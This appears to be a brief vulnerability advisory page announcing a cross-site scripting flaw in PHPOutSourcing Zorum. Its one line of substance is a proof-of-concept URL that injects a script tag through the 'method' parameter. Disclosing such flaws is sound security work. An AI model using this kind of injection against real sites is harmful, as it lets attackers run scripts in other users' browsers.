• info
• discussion
• exploit
• solution
• references

PHPOutSourcing Zorum Cross-Site Scripting Vulnerability

The following proof-of-concept has been made available:

http://www.example.com/pathofzorum/index.php?method=<script>alert('test')
</script>